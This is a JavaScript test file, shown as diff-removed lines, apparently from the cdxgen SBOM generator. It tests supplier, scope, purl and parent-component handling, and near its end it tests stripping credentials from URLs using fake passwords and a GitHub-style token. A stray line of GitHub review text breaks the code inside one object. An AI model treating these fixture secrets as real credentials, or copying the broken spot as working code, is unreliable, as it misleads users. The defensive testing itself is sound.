- pkgs,
- "npm",
- );
- const byName = Object.fromEntries(components.map((c) => [c.name, c]));
- assert.deepStrictEqual(byName.good.supplier, {
- name: "Example Org",
- url: ["https://example.com"],
- });
- assert.strictEqual(byName["string-url"].supplier, undefined);
- assert.strictEqual(byName["no-name"].supplier, undefined);
- assert.strictEqual(byName["string-supplier"].supplier, undefined);
- const { bomJson } = buildBomNSData({ specVersion: 1.7 }, pkgs, "npm", {
- src: ".",
- });
- assert.strictEqual(await validateBom(bomJson, { deep: false }), true);
- });
- it("reduces contacts to name, email and phone and drops the entity bom-ref", async () => {
- assert.deepStrictEqual(
- toOrganizationalEntity({
- name: " Example Org ",
- "bom-ref": "org-1",
- contact: [
- { name: "PSIRT", email: "psirt@example.com", handle: "@x" },
- { handle: "@only-unknown-fields" },
- "not-an-object",
- { phone: "+1 555 0100", "bom-ref": "contact-1" },
- ],
- }),
- {
- name: "Example Org",
- contact: [
- { name: "PSIRT", email: "psirt@example.com" },
- { phone: "+1 555 0100" },
- ],
- },
- );
- const pkgs = [
- {
- name: "with-contact",
- version: "1.0.0",
- purl: "pkg:npm/with-contact@1.0.0",
- supplier: { name: "Example Org", contact: [{ handle: "@x" }] },
- },
- ];
- const { bomJson } = buildBomNSData({ specVersion: 1.7 }, pkgs, "npm", {
- src: ".",
- });
- assert.deepStrictEqual(bomJson.components[0].supplier, {
- name: "Example Org",
- });
- assert.strictEqual(await validateBom(bomJson, { deep: false }), true);
- });
- it("carries a well-formed manufacturer from CycloneDX 1.6 onwards", async () => {
- const pkgs = () => [
- {
- name: "llama-3.1-8b",
- purl: "pkg:huggingface/meta-llama/Llama-3.1-8B",
- type: "machine-learning-model",
- manufacturer: { name: "Meta" },
- supplier: {
- name: "meta-llama",
- url: ["https://huggingface.co/meta-llama"],
- },
- },
- {
- name: "bad-manufacturer",
- purl: "pkg:npm/bad-manufacturer@1.0.0",
- version: "1.0.0",
- manufacturer: "Meta",
- },
- ];
- for (const specVersion of [1.6, 1.7]) {
- const { bomJson } = buildBomNSData({ specVersion }, pkgs(), "generic", {
- src: ".",
- });
- const byName = Object.fromEntries(
- bomJson.components.map((c) => [c.name, c]),
- );
- assert.deepStrictEqual(byName["llama-3.1-8b"].manufacturer, {
- name: "Meta",
- });
- assert.deepStrictEqual(byName["llama-3.1-8b"].supplier, {
- name: "meta-llama",
- url: ["https://huggingface.co/meta-llama"],
- });
- assert.strictEqual(byName["bad-manufacturer"].manufacturer, undefined);
- assert.strictEqual(await validateBom(bomJson, { deep: false }), true);
- }
- const [component] = listComponents(
- { specVersion: 1.5 },
- undefined,
- pkgs(),
- "generic",
- );
- // manufacturer arrived in CycloneDX 1.6.
- assert.strictEqual(component.manufacturer, undefined);
- assert.strictEqual(component.supplier.name, "meta-llama");
- });
- it("derives no purl for a file component that brought none", () => {
- const [component] = listComponents(
- { specVersion: 1.7 },
- undefined,
- [{ group: "com.example", name: "thing", version: "1.0", type: "file" }],
- "maven",
- );
- assert.strictEqual(component.purl, undefined);
- });
- it("keeps readable OBOM bom-refs when no package purl type is available", () => {
- const components = listComponents(
- { specVersion: 1.7 },
- undefined,
- [
- {
- "bom-ref":
- "osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
- name: "root",
- properties: [
- {
- name: "cdx:osquery:category",
- value: "authorized_keys_snapshot",
- },
- ],
- type: "data",
- version: "ssh-ed25519",
- },
- ],
- "",
- );
- assert.strictEqual(components.length, 1);
- assert.strictEqual(components[0].purl, undefined);
- assert.strictEqual(
- components[0]["bom-ref"],
- "osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
- );
- assert.strictEqual(components[0].type, "data");
- });
- it("marks npm packages required when analyzer command evidence matches package bin metadata", () => {
- const components = listComponents(
- { specVersion: 1.7 },
- {
- "cdx:npm:bin/license-report": new Set([
- {
- fileName: "package.json",
- importedAs: "cdx:npm:bin/license-report",
- importedModules: ["license-report"],
- },
- ]),
- },
- [
- {
- name: "license-report",
- version: "6.5.0",
- scope: "optional",
- properties: [
- {
- name: "cdx:npm:bin",
- value: "license-report",
- },
- ],
- },
- {
- name: "left-pad",
- version: "1.3.0",
- scope: "optional",
- properties: [],
- },
- ],
- "npm",
- );
- const licenseReport = components.find(
- (component) => component.name === "license-report",
- );
- const leftPad = components.find(
- (component) => component.name === "left-pad",
- );
- assert.strictEqual(licenseReport.scope, "required");
- assert.strictEqual(leftPad.scope, "optional");
- });
- it("keeps npm package required when bin-command evidence exists alongside type-only imports", () => {
- const components = listComponents(
- { specVersion: 1.7 },
- {
- "cdx:npm:bin/license-report": new Set([
- {
- fileName: "package.json",
- importedAs: "cdx:npm:bin/license-report",
- importedModules: ["license-report"],
- },
- ]),
- "license-report": new Set([
- {
- importedAs: "license-report",
- importedModules: ["license-report"],
- isTypeOnly: true,
- },
- ]),
- },
- [
- {
- name: "license-report",
- version: "6.5.0",
- scope: "optional",
- properties: [
- {
- name: "cdx:npm:bin",
- value: "license-report",
- },
- ],
- },
- ],
- "npm",
- );
- const licenseReport = components.find(
- (component) => component.name === "license-report",
- );
- assert.strictEqual(licenseReport.scope, "required");
- assert.strictEqual(
- getProp(licenseReport, "cdx:npm:package:type-only"),
- undefined,
- );
- });
- // #4336: a missing import is not evidence that a package is optional.
- it("keeps the scope of npm packages the imports do not mention", () => {
- const components = listComponents(
- { specVersion: 1.7 },
- {
- debug: new Set([
- {
- fileName: "index.js",
- importedAs: "debug",
- importedModules: ["debug"],
- },
- ]),
- },
- [
- { name: "debug", version: "4.4.1", properties: [] },
- { name: "left-pad", version: "1.3.0", properties: [] },
- // Promoted by propagateRequiredScopeFromDependencies through debug.
- { name: "ms", version: "2.1.3", scope: "required", properties: [] },
- // Promoted by addEvidenceForImports through its jsr specifier.
- {
- group: "@jsr",
- name: "std__assert",
- version: "1.0.13",
- scope: "required",
- properties: [
- { name: "cdx:deno:jsrKey", value: "@std/assert@1.0.13" },
- ],
- },
- {
- name: "picocolors",
- version: "1.1.1",
- scope: "optional",
- properties: [
- { name: "cdx:npm:package:development", value: "true" },
- ],
- },
- ],
- "npm",
- );
- const scopeOf = (name) =>
- components.find((component) => component.name === name)?.scope;
- assert.strictEqual(scopeOf("debug"), "required");
- assert.strictEqual(scopeOf("left-pad"), undefined);
- assert.strictEqual(scopeOf("ms"), "required");
- assert.strictEqual(scopeOf("std__assert"), "required");
- assert.strictEqual(scopeOf("picocolors"), "optional");
- });
- it("keeps pypi scopes when the imports list only undeclared modules", () => {
- // getPyModules reports the imported modules no manifest declares; the
- // declared packages it saw imported are already scoped required.
- const components = listComponents(
- { specVersion: 1.7 },
- { "extra-pkg": true },
- [
- { name: "requests", version: "2.32.3", scope: "required" },
- { name: "gunicorn", version: "23.0.0" },
- { name: "extra-pkg", version: "1.0.0", scope: "required" },
- ],
- "pypi",
- );
- const scopeOf = (name) =>
- components.find((component) => component.name === name)?.scope;
- assert.strictEqual(scopeOf("requests"), "required");
- assert.strictEqual(scopeOf("gunicorn"), undefined);
- assert.strictEqual(scopeOf("extra-pkg"), "required");
- });
- });
- describe("distribution filters", () => {
- it("keeps npm types while excluding poku tests from npm pack output", () => {
- const packedPaths = getNpmPackFilePaths();
- assert.ok(
- packedPaths.some((path) => path.startsWith("types/")),
- "expected npm pack output to keep generated type definitions",
- );
- assert.ok(
- packedPaths.every((path) => !path.endsWith(".poku.js")),
- "expected npm pack output to exclude co-located poku tests",
- );
- assert.ok(
- packedPaths.every((path) => !path.startsWith("test/")),
- "expected npm pack output to exclude test fixtures",
- );
- });
- });
- describe("parent component overrides", () => {
- const detected = {
- "bom-ref": "application:myproject:1.0.0",
- name: "myproject",
- type: "application",
- version: "1.0.0",
- };
- const child = {
- "bom-ref": "pkg:generic/dep@1.0.0",
- name: "dep",
- purl: "pkg:generic/dep@1.0.0",
- type: "library",
- version: "1.0.0",
- };
- const context = () => ({
- parentComponent: { ...detected },
- dependencies: [
- { ref: detected["bom-ref"], dependsOn: [child["bom-ref"]] },
- { ref: child["bom-ref"], dependsOn: [] },
- ],
- });
- it("keeps the generator's own root when no override is given", () => {
- const { bomJson } = buildBomNSData(
- { specVersion: 1.7 },
- [child],
- "generic",
- context(),
- );
- assert.strictEqual(
- bomJson.metadata.component["bom-ref"],
- "application:myproject:1.0.0",
- );
- assert.deepStrictEqual(bomJson.dependencies, context().dependencies);
- });
- it("re-anchors the graph under a caller-supplied parent", () => {
- const { bomJson } = buildBomNSData(
- { specVersion: 1.7, projectName: "monorepo", projectVersion: "9.9.9" },
- [child],
- "generic",
- context(),
- );
- const rootRef = bomJson.metadata.component["bom-ref"];
- assert.strictEqual(rootRef, "pkg:application/monorepo@9.9.9");
- // The detected project is a real subproject, so it survives as a
- // component instead of the edges below it being orphaned.
- assert.ok(
- bomJson.components.some(
- (comp) => comp["bom-ref"] === "application:myproject:1.0.0",
- ),
- );
- assert.deepStrictEqual(
- bomJson.dependencies.find((dep) => dep.ref === rootRef),
- { ref: rootRef, dependsOn: ["application:myproject:1.0.0"] },
- );
- const known = new Set(bomJson.components.map((c) => c["bom-ref"]));
- known.add(rootRef);
- const dangling = bomJson.dependencies
- .flatMap((dep) => [dep.ref, ...dep.dependsOn])
- .filter((ref) => !known.has(ref));
- assert.deepStrictEqual(dangling, []);
- });
- // Discussion 4388: naming the very project the generator detected must
- // not wrap it in an `application` of the same name and version.
- const gemDetected = {
- "bom-ref": "pkg:gem/mygem@0.8.1",
- purl: "pkg:gem/mygem@0.8.1",
- group: "",
- name: "mygem",
- type: "application",
- version: "0.8.1",
- description: "The gem being built",
- };
- const gemContext = () => ({
- parentComponent: { ...gemDetected },
- dependencies: [
- { ref: gemDetected["bom-ref"], dependsOn: [child["bom-ref"]] },
- { ref: child["bom-ref"], dependsOn: [] },
- ],
- });
- it("keeps the detected parent when the override names that project", async () => {
- const { bomJson } = buildBomNSData(
- { specVersion: 1.7, projectName: "mygem", projectVersion: "0.8.1" },
- [child],
- "gem",
- gemContext(),
- );
- assert.strictEqual(
- bomJson.metadata.component["bom-ref"],
- gemDetected["bom-ref"],
- );
- assert.strictEqual(
- bomJson.metadata.component.description,
- "The gem being built",
- );
- assert.deepStrictEqual(
- bomJson.components.map((comp) => comp["bom-ref"]),
- [child["bom-ref"]],
- "the project must not be listed as a subproject of itself",
- );
- assert.deepStrictEqual(bomJson.dependencies, gemContext().dependencies);
- assert.strictEqual(await validateBom(bomJson), true);
- });
- it("still anchors a detected parent of another version under the override", () => {
- const { bomJson } = buildBomNSData(
- { specVersion: 1.7, projectName: "mygem", projectVersion: "0.9.0" },
- [child],
- "gem",
- gemContext(),
- );
- assert.strictEqual(
- bomJson.metadata.component["bom-ref"],
- "pkg:application/mygem@0.9.0",
- );
- assert.ok(
- bomJson.components.some(
- (comp) => comp["bom-ref"] === gemDetected["bom-ref"],
- ),
- );
- });
- it("honours a caller-supplied parentComponent even when it matches", () => {
- const parentComponent = {
- "bom-ref": "pkg:generic/mygem@0.8.1",
- purl: "pkg:generic/mygem@0.8.1",
- name: "mygem",
- type: "application",
- version: "0.8.1",
- };
- const { bomJson } = buildBomNSData(
- { specVersion: 1.7, parentComponent },
- [child],
- "gem",
- gemContext(),
- );
- assert.strictEqual(
- bomJson.metadata.component["bom-ref"],
- "pkg:generic/mygem@0.8.1",
- );
- });
- it("builds an override for ecosystems whose purls need a namespace", () => {
- // Maven, Go, and Swift purls require a namespace. The override is an
- // `application`, so a project name without a group must still work.
- for (const ptype of ["maven", "golang", "swift"]) {
- const { bomJson } = buildBomNSData(
- { specVersion: 1.7, projectName: "foo", projectVersion: "1.0.0" },
- [child],
- ptype,
- context(),
- );
- assert.strictEqual(
- bomJson.metadata.component.purl,
- "pkg:application/foo@1.0.0",
- );
- }
- });
- it("drops parent external references that are not valid IRIs", async () => {
- const { bomJson } = buildBomNSData({ specVersion: 1.7 }, [child], "gem", {
- parentComponent: {
- ...gemDetected,
- externalReferences: [
- { type: "website", url: "https://example.com/mygem" },
- {
- type: "documentation",
- url: "https://example.com/#{spec.version}",
- },
- ],
- },
- dependencies: [],
- });
- assert.deepStrictEqual(bomJson.metadata.component.externalReferences, [
- { type: "website", url: "https://example.com/mygem" },
- ]);
- assert.strictEqual(await validateBom(bomJson), true);
- });
- it("leaves the caller's dependency array untouched", () => {
- const ctx = context();
- const before = JSON.parse(JSON.stringify(ctx.dependencies));
- buildBomNSData(
- { specVersion: 1.7, projectName: "monorepo", projectVersion: "9.9.9" },
- [child],
- "generic",
- ctx,
- );
- assert.deepStrictEqual(ctx.dependencies, before);
- });
- // Issue #4320: generators hand the detected parent over with transient
- // keys (`license`, `homepage`, `repository`, `evidence`, `_integrity`,
- // `qualifiers`) that only `metadata.component` used to be cleaned of.
- // Anchored as a regular component they fail schema validation.
- const licensedDetected = {
- ...detected,
- purl: "pkg:npm/myproject@1.0.0",
- "bom-ref": "pkg:npm/myproject@1.0.0",
- license: "Apache-2.0",
- homepage: { url: "https://example.com/myproject" },
- repository: { url: "git+https://github.com/example/myproject.git" },
- evidence: {
- identity: { field: "purl", confidence: 0.7, methods: [] },
- },
- _integrity:
- "sha512-mlYviEJVSQFSe2oNPPPUidoRv6Cb6iloaCLcdWOr7tPhBsfIw5TiS2o2WsXcXAUG9tTLO9cbLb5zcDzcVXc5w==",
- qualifiers: { arch: "x64" },
- };
- const licensedContext = () => ({
- parentComponent: { ...licensedDetected },
- dependencies: [
- {
- ref: licensedDetected["bom-ref"],
- dependsOn: [child["bom-ref"]],
- },
- { ref: child["bom-ref"], dependsOn: [] },
- ],
- });
- const overrideOptions = {
- specVersion: 1.6,
- projectName: "monorepo",
- projectVersion: "9.9.9",
- };
- it("cleans transient keys from the anchored subproject component", async () => {
- const { bomJson } = buildBomNSData(
- overrideOptions,
- [child],
- "npm",
- licensedContext(),
- );
- const anchored = bomJson.components.find(
- (comp) => comp["bom-ref"] === licensedDetected["bom-ref"],
- );
- assert.ok(anchored, "expected the detected parent to be anchored");
- for (const transientKey of [
- "license",
- "homepage",
- "repository",
- "evidence",
- "_integrity",
- "qualifiers",
- ]) {
- assert.strictEqual(
- anchored[transientKey],
- undefined,
- `anchored component must not carry '${transientKey}'`,
- );
- }
- assert.deepStrictEqual(anchored.licenses, [
- {
- license: {
- id: "Apache-2.0",
- url: "https://opensource.org/licenses/Apache-2.0",
- },
- },
- ]);
- assert.deepStrictEqual(
- (anchored.externalReferences || []).map((ref) => ref.type).sort(),
- ["vcs", "website"],
- );
- // The truncated fixture integrity decodes to 63 bytes, so it is
- // dropped rather than emitted as a corrupt digest.
- assert.strictEqual(anchored.hashes, undefined);
- assert.strictEqual(await validateBom(bomJson), true);
- });
- it("does not mutate the caller's detected parent object", () => {
- const ctx = licensedContext();
- const before = JSON.parse(JSON.stringify(ctx.parentComponent));
- buildBomNSData(overrideOptions, [child], "npm", ctx);
- assert.deepStrictEqual(ctx.parentComponent, before);
- });
- it("cleans the anchored component for an explicit options.parentComponent override", async () => {
- const explicitParent = {
- group: "",
- name: "shell",
- version: "3.2.1",
- type: "application",
- "bom-ref": "pkg:application/shell@3.2.1",
- purl: "pkg:application/shell@3.2.1",
- };
- const { bomJson } = buildBomNSData(
- { specVersion: 1.6, parentComponent: explicitParent },
- [child],
- "npm",
- licensedContext(),
- );
- assert.strictEqual(
- bomJson.metadata.component["bom-ref"],
- "pkg:application/shell@3.2.1",
- );
- const anchored = bomJson.components.find(
- (comp) => comp["bom-ref"] === licensedDetected["bom-ref"],
- );
- assert.ok(anchored, "expected the detected parent to be anchored");
- assert.strictEqual(anchored.license, undefined);
- assert.ok(anchored.licenses?.length);
- assert.strictEqual(await validateBom(bomJson), true);
- });
- // Issue #4326: workspace members nested under a detected parent carry the
- // same raw parser shape as the parent itself. Anchored without the
- // conversion `metadata.component` gets, they fail the strict Component
- // schema (`additionalProperties: false` on `homepage`/`repository`).
- const nestedDetected = {
- ...licensedDetected,
- components: [
- {
- group: "",
- name: "member",
- version: "1.2.3",
- purl: "pkg:cargo/member@1.2.3",
- "bom-ref": "pkg:cargo/member@1.2.3",
- type: "library",
- license: "MIT",
- homepage: { url: "https://example.com/member" },
- repository: { url: "https://github.com/example/member" },
- _integrity:
- "sha512-NDOSPBxcqSNHmT156HFVUjJJtSiofKkIJW+MIAXal6i3RWM8wC9l/dz+0vQUVX3btlAO3lfRs17rOHY2t9f9Gg==",
- properties: [
- { name: "internal:SrcFile", value: "crates/member/Cargo.toml" },
- ],
- },
- ],
- };
- const nestedContext = () => ({
- parentComponent: {
- ...nestedDetected,
- components: nestedDetected.components,
- },
- dependencies: [
- {
- ref: nestedDetected["bom-ref"],
- dependsOn: [nestedDetected.components[0]["bom-ref"]],
- },
- ],
- });
- it("converts nested workspace member components into schema-valid components", async () => {
- const { bomJson } = buildBomNSData(
- overrideOptions,
- [child],
- "npm",
- nestedContext(),
- );
- const anchored = bomJson.components.find(
- (comp) => comp["bom-ref"] === nestedDetected["bom-ref"],
- );
- assert.ok(anchored, "expected the detected parent to be anchored");
- const nested = anchored.components?.find(
- (comp) => comp["bom-ref"] === "pkg:cargo/member@1.2.3",
- );
- assert.ok(nested, "expected the nested member to survive anchoring");
- for (const transientKey of [
- "license",
- "homepage",
- "repository",
- "_integrity",
- "qualifiers",
- ]) {
- assert.strictEqual(
- nested[transientKey],
- undefined,
- `nested component must not carry '${transientKey}'`,
- );
- }
- assert.ok(
- nested.licenses?.some((license) => license.license?.id === "MIT"),
- "expected license converted into a licenses entry",
- );
- assert.deepStrictEqual(
- (nested.externalReferences || []).map((ref) => ref.type).sort(),
- ["vcs", "website"],
- );
- // The integrity transient is converted into a hex hashes[] entry, not
- // dropped.
- assert.deepStrictEqual(nested.hashes, [
- {
- alg: "SHA-512",
- content:
- "3433923c1c5ca92347993d79e87155523249b528a87ca908256f8c2005da97a8b745633cc02f65fddcfed2f414557ddbb6500ede57d1b35eeb387636b7d7fd1a",
- },
- ]);
- assert.strictEqual(await validateBom(bomJson), true);
- });
- it("does not mutate the caller's nested member components", () => {
- const ctx = nestedContext();
- const before = JSON.parse(JSON.stringify(ctx.parentComponent));
- buildBomNSData(overrideOptions, [child], "npm", ctx);
- assert.deepStrictEqual(ctx.parentComponent, before);
- });
- });
- });
- describe("reserved characters in component purls", () => {
- const cleanedVersion = (component) =>
- component.properties?.find((p) => p.name === "cdx:npm:cleanedVersion")
- ?.value;
- it("escapes a derived purl's name, group and subpath exactly once", () => {
- // Pre-escaping the parts before cdx-purl escaped them again turned
- // `@scope` into `%2540scope` and `libstdc++6` into `libstdc%252B%252B6`.
- const [os] = listComponents(
- { specVersion: 1.7 },
- null,
- [{ name: "libstdc++6", version: "12.2.0-14+deb12u1" }],
- "generic",
- );
- assert.strictEqual(
- os.purl,
- "pkg:generic/libstdc%2B%2B6@12.2.0-14%2Bdeb12u1",
- );
- assert.strictEqual(
- os["bom-ref"],
- "pkg:generic/libstdc++6@12.2.0-14+deb12u1",
- );
- const [scoped] = listComponents(
- { specVersion: 1.7 },
- null,
- [{ group: "@acme", name: "tools", version: "0.9.0+exp.sha.5114f85" }],
- "npm",
- );
- assert.strictEqual(
- scoped.purl,
- "pkg:npm/%40acme/tools@0.9.0%2Bexp.sha.5114f85",
- );
- assert.strictEqual(cleanedVersion(scoped), "0.9.0");
- });
- it("records the version npm would publish only when it differs", () => {
- const components = listComponents(
- { specVersion: 1.7 },
- null,
- [
- {
- name: "localdep",
- version: "2.0.0+local",
- purl: "pkg:npm/localdep@2.0.0%2Blocal",
- },
- {
- name: "left-pad",
- version: "1.3.0",
- purl: "pkg:npm/left-pad@1.3.0",
- },
- {
- name: "wasi",
- version: "0.11.0+wasi-snapshot-preview1",
- purl: "pkg:cargo/wasi@0.11.0%2Bwasi-snapshot-preview1",
- },
- ],
- "npm",
- );
- const byName = Object.fromEntries(components.map((c) => [c.name, c]));
- assert.strictEqual(cleanedVersion(byName.localdep), "2.0.0");
- assert.strictEqual(byName.localdep.version, "2.0.0+local");
- assert.strictEqual(cleanedVersion(byName["left-pad"]), undefined);
- // Only npm follows `npm publish`; cargo keeps build metadata.
- assert.strictEqual(cleanedVersion(byName.wasi), undefined);
- });
- it("recovers the parent purl from a decoded bom-ref and records its cleaned version", () => {
- const { bomJson } = buildBomNSData({ specVersion: 1.7 }, [], "npm", {
- parentComponent: {
- name: "app",
- version: "1.0.0+major",
- type: "application",
- "bom-ref": "pkg:npm/app@1.0.0+major",
- },
- });
- const root = bomJson.metadata.component;
- // Escaping the whole ref also escaped the `@` before the version and
- // produced a purl for a package named `app@1.0.0+major`.
- assert.strictEqual(root.purl, "pkg:npm/app@1.0.0%2Bmajor");
- assert.strictEqual(cleanedVersion(root), "1.0.0");
- });
- });
- describe("metadata properties handed over by a generator", () => {
- const platform = [
- { name: "cdx:composer:platform:ext-zip", value: "*" },
- { name: "cdx:composer:platform:php", value: "^8.1" },
- ];
- const log = {
- group: "psr",
- name: "log",
- version: "3.0.2",
- purl: "pkg:composer/psr/log@3.0.2",
- "bom-ref": "pkg:composer/psr/log@3.0.2",
- };
- it("buildBomNSData puts them in metadata.properties and hands them on", () => {
- const bomNSData = buildBomNSData({ specVersion: 1.7 }, [log], "composer", {
- metadataProperties: platform,
- });
- assert.deepStrictEqual(bomNSData.bomJson.metadata.properties, platform);
- assert.deepStrictEqual(bomNSData.metadataProperties, platform);
- });
- it("buildBomNSData adds no properties and hands on nothing without them", () => {
- const bomNSData = buildBomNSData({ specVersion: 1.7 }, [log], "composer", {
- src: ".",
- });
- assert.strictEqual(bomNSData.bomJson.metadata.properties, undefined);
- assert.strictEqual(bomNSData.metadataProperties, undefined);
- });
- it("dedupeBom keeps them when it rebuilds the metadata of a multi-type scan", () => {
- const { bomJson } = dedupeBom(
- { specVersion: 1.7 },
- [log],
- undefined,
- [],
- platform,
- );
- assert.deepStrictEqual(bomJson.metadata.properties, platform);
- assert.strictEqual(
- dedupeBom({ specVersion: 1.7 }, [log], undefined, []).bomJson.metadata
- .properties,
- undefined,
- );
- });
- });
- describe("addMetadata() oci:image:appLanguage", () => {
- const appLanguage = (Cmd) =>
- addMetadata(
- {},
- { exportData: { inspectData: { Config: { Cmd } } } },
- ).properties?.find((prop) => prop.name === "oci:image:appLanguage")?.value;
- it("names the language of the image's command, not an array position", () => {
- assert.strictEqual(appLanguage(["php", "artisan", "serve"]), "php");
- assert.strictEqual(appLanguage(["node", "server.js"]), "node");
- assert.strictEqual(appLanguage(["python3", "app.py"]), "python3");
- // A port number used to match the position "0".
- assert.strictEqual(
- appLanguage(["/app/server", "--port", "8000", "--host", "0.0.0.0"]),
- undefined,
- );
- });
- });
- describe("addMetadata() sub-components with the parent's coordinates", () => {
- const parent = () => ({
- type: "application",
- group: "com.example",
- name: "demo",
- version: "1.0",
- purl: "pkg:maven/com.example/demo@1.0?type=jar",
- "bom-ref": "pkg:maven/com.example/demo@1.0?type=jar",
- });
- it("drops a copy of the parent but keeps a separate project", () => {
- const parentComponent = parent();
- parentComponent.components = [
- parent(),
- {
- ...parent(),
- purl: "pkg:maven/com.example/demo@1.0?type=jar#one",
- "bom-ref": "pkg:maven/com.example/demo@1.0?type=jar#one",
- },
- ];
- const metadata = addMetadata(parentComponent, {});
- assert.deepStrictEqual(
- metadata.component.components.map((c) => c["bom-ref"]),
- ["pkg:maven/com.example/demo@1.0?type=jar#one"],
- );
- });
- });
- describe("metadata.tools external tool components", () => {
- // The registry is run-scoped module state; every case resets it so the
- // assertions cannot leak into each other through poku's interleaving.
- it("keeps the tools block unchanged when nothing external ran", () => {
- resetExecutedTools();
- assert.deepStrictEqual(getExecutedTools(), []);
- assert.deepStrictEqual(addToolsSection({ specVersion: 1.5 }, {}), {
- components: [
- {
- group: "@cdxgen",
- name: "cdxgen",
- version: CDXGEN_VERSION,
- purl: `pkg:npm/%40cdxgen/cdxgen@${CDXGEN_VERSION}`,
- type: "application",
- "bom-ref": `pkg:npm/@cdxgen/cdxgen@${CDXGEN_VERSION}`,
- author: "OWASP Foundation",
- publisher: "OWASP Foundation",
- },
- ],
- });
- assert.deepStrictEqual(addToolsSection({ specVersion: 1.4 }, {}), [
- { vendor: "cyclonedx", name: "cdxgen", version: CDXGEN_VERSION },
- ]);
- resetExecutedTools();
- });
- it("appends the executed tools sorted after cdxgen for 1.5+", () => {
- resetExecutedTools();
- recordExecutedTool("/usr/local/bin/zip");
- recordExecutedTool("gradle", "9.8.2");
- recordExecutedTool("mvn", "3.10.0");
- const { components } = addToolsSection({ specVersion: 1.5 }, {});
- const external = components.slice(0, -1);
- const cdxgen = components[components.length - 1];
- // cdxgen stays last in the assembled array, unchanged in shape, and the
- // executed tools are sorted by name.
- assert.strictEqual(cdxgen.name, "cdxgen");
- assert.deepStrictEqual(
- external.map((tool) => ({ name: tool.name, version: tool.version })),
- [
- { name: "gradle", version: "9.8.2" },
- { name: "mvn", version: "3.10.0" },
- { name: "zip", version: undefined },
- ],
- );
- for (const tool of external) {
- assert.strictEqual(tool.type, "application");
- }
- resetExecutedTools();
- });
- it("keeps the legacy tools array shape for spec version 1.4", () => {
- resetExecutedTools();
- recordExecutedTool("mvn", "3.10.0");
- recordExecutedTool("osqueryi");
- const tools = addToolsSection({ specVersion: 1.4 }, {});
- assert.deepStrictEqual(tools, [
- { vendor: "cyclonedx", name: "cdxgen", version: CDXGEN_VERSION },
- { name: "mvn", version: "3.10.0" },
- { name: "osqueryi" },
- ]);
- resetExecutedTools();
- });
- it("keeps context tools that share a name but differ in bom-ref", () => {
- resetExecutedTools();
- const contextTools = [
- {
- type: "application",
- group: "org.apache.maven.plugins",
- name: "maven-compiler-plugin",
- "bom-ref":
- "pkg:maven/org.apache.maven.plugins/maven-compiler-plugin@3.14.0",
- },
- {
- type: "application",
- group: "org.example.plugins",
- name: "maven-compiler-plugin",
- "bom-ref": "pkg:maven/org.example.plugins/maven-compiler-plugin@1.0.0",
- },
- ];
- const { components } = addToolsSection(
- { specVersion: 1.5 },
- { tools: contextTools },
- );
- assert.deepStrictEqual(
- components.slice(0, -1).map((component) => component["bom-ref"]),
- contextTools.map((component) => component["bom-ref"]),
- );
- });
- it("forgets the executed tools when the run state is reset", () => {
- resetExecutedTools();
- recordExecutedTool("mvn", "3.10.0");
- resetRunState();
- assert.deepStrictEqual(getExecutedTools(), []);
- assert.deepStrictEqual(
- addToolsSection({ specVersion: 1.5 }, {}).components.map(
- (component) => component.name,
- ),
- ["cdxgen"],
- );
- });
- it("de-duplicates context tools against the registry by name", () => {
- resetExecutedTools();
- recordExecutedTool("osqueryi", "5.24.0");
- const contextTools = [
- {
- type: "application",
- name: "osqueryi",
- version: "5.24.0",
- "bom-ref": "pkg:generic/osquery/osqueryi@5.24.0",
- },
- ];
- const { components } = addToolsSection(
- { specVersion: 1.5 },
- { tools: contextTools },
- );
- const osqueryEntries = components.filter(
- (component) => component.name === "osqueryi",
- );
- assert.deepStrictEqual(osqueryEntries.length, 1);
- // The explicitly passed context entry wins.
- assert.strictEqual(
- osqueryEntries[0]["bom-ref"],
- "pkg:generic/osquery/osqueryi@5.24.0",
- );
- resetExecutedTools();
- });
- it("enriches bundled plugin helpers with the manifest component", () => {
- resetExecutedTools();
- // trivy ships in cdxgen-plugins-bin; its manifest carries the plugin
- // package version, purl, and hashes. Skip the assertion when the optional
- // plugin package (and its manifest) is not installed.
- const manifestComponents = getPluginToolComponents(["trivy"]);
- if (!manifestComponents.length) {
- resetExecutedTools();
- return;
- }
- recordExecutedTool("trivy");
- const { components } = addToolsSection({ specVersion: 1.5 }, {});
- const trivy = components.find((component) => component.name === "trivy");
- assert.ok(trivy, "trivy tool component missing");
- assert.strictEqual(trivy["bom-ref"], manifestComponents[0]["bom-ref"]);
- assert.ok(trivy.version, "plugin version missing");
- resetExecutedTools();
- });
- it("looks up only bundled helper names in the plugins manifest", async () => {
- const manifestComponent = (name) => ({
- type: "application",
- name,
- version: "9.9.9",
- "bom-ref": `pkg:generic/forged/${name}@9.9.9`,
- });
- const getPluginToolComponentsStub = sinon
- .stub()
- .callsFake((names) => names.map(manifestComponent));
- const { addToolsSection: addToolsSectionMocked } = await esmock(
- "./bomAssembly.js",
- {
- "../managers/binary.js": {
- getPluginToolComponents: getPluginToolComponentsStub,
- },
- },
- );
- // The registry is run-scoped and shared with the other tests, so it is
- // filled and read without an await in between.
- resetExecutedTools();
- recordExecutedTool("git", "2.47.0");
- recordExecutedTool("trivy");
- const { components } = addToolsSectionMocked({ specVersion: 1.5 }, {});
- resetExecutedTools();
- assert.deepStrictEqual(getPluginToolComponentsStub.firstCall.args[0], [
- "trivy",
- ]);
- const git = components.find((component) => component.name === "git");
- assert.strictEqual(git.version, "2.47.0");
- assert.strictEqual(git["bom-ref"], undefined);
- const trivy = components.find((component) => component.name === "trivy");
- assert.strictEqual(trivy["bom-ref"], "pkg:generic/forged/trivy@9.9.9");
- });
- });
- describe("addExternalReferences()", () => {
- it("removes credentials from URLs copied from package metadata", () => {
- const references = addExternalReferences([
- {
- homepage: {
- url: "https://ci-bot:Vb8nexusQz41mX@pkgs.example.com/sdk?sig=Ht5portalLw93cN",
- },
- repository: { url: "git+ssh://git@github.com/acme/sdk.git#v1.2.0" },
- bugs: {
- url: "https://ghp_R7mQ2xV9bT4nL8cW3zD6hJ1fS5gY0aE2uK7p@github.com/acme/sdk/issues",
- Dismissed after review: Contains what looks like a hardcoded GitHub token
- Line 1,277 on GitHub
- },
- },
- {
- externalReferences: [
- {
- type: "distribution",
- url: " https://files.example.com/sdk.whl#sha256=abc&token=Zq7tokenRw2 ",
- },
- ],
- },
- ]);
- assert.deepStrictEqual(references, [
- { type: "website", url: "https://pkgs.example.com/sdk" },
